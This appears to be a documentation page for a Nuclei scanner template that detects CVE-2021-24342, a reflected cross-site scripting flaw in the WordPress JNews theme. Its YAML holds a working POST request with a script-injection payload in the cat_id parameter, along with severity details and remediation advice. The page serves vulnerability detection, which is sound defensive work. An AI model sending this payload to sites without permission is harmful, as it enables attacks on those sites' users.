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WordPress JNews Theme <8.0.6 - Cross-Site Scripting

ID: CVE-2021-24342

Severity: medium

Author: pikpikcu

Tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,jnews

Description

Section titled “Description”

WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).

YAML Source

Section titled “YAML Source”
id: CVE-2021-24342


info:
  name: WordPress JNews Theme <8.0.6 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24342
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24342
    cwe-id: CWE-79
    epss-score: 0.00113
    epss-percentile: 0.43845
    cpe: cpe:2.3:a:jnews:jnews:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: jnews
    product: jnews
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,jnews
flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /wp-content/themes/jnews/readme.txt HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - 'Change Log:'
          - 'JNews -'
        condition: and


  - raw:
      - |
        POST /?ajax-request=jnews HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded


        lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - 'Content-Type: text/html'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100962737d182a6b9437b8fb9fc72c6d38874626c6507abce9d6ee952466083f5b4022071044aef4891500ead9e2014dabc61dc31c8960b8b7aa5f2a4a57838a3e1e3de:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24342.yaml"

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